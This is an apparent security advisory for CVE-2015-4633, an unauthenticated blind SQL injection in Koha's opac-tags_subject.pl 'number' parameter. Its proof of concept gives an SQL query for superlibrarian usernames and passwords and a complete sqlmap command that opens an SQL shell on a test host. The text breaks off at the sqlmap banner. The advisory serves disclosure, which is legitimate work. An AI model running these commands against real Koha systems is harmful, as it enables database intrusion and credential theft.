### CVE-2015-4633 ### 

#### Titel: ####
Unauthenticated SQL Injection in Koha

#### Type of vulnerability: ####
An Unauthenticated SQL Injection vulnerability in Koha allows attackers to read arbitrary data from the database. 

##### Exploitation vector:
The url parameter 'number' of the /cgi-bin/koha/opac-tags_subject.pl is vulnerable to SQLI.

##### Attack outcome:
An attacker can read arbitrary data from the database. If the webserver is misconfigured, read & write access the filesystem may be possible.

#### Impact: ####
critical

#### Description: ####
By manipulating the variable 'number' of the /cgi-bin/koha/opac-tags_subject.pl script the database can be accessed via time-based blind injections. If the webserver is misconfigured, the file-system can be accessed as well.

#### Proof-of-concept: ####
1. Inspect Koha database schema

   Have a look at how to query the database for superlibrarian users:
   http://wiki.koha-community.org/wiki/SQL_Reports_Library#Superlibrarians

   So basically we we need to execute some SQL statement like this:
   sql-shell> select userid, password from borrowers where flags=1 and password is not null order by borrowernumber desc limit 1;

2. Query the database with sqlmap

   So let's fire up sqlmap with the --sql-shell parameter and input the query:

   root@kali:/home/wicked# sqlmap -u http://testbox:9001/cgi-bin/koha/opac-tags_subject.pl?number=10 -p number --technique=T --dbms=MySQL --sql-shell --time-sec=4

   |___|_  |_|_|_|_|__,|  _|
         |_|           |_|   http://sqlmap.org

   [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
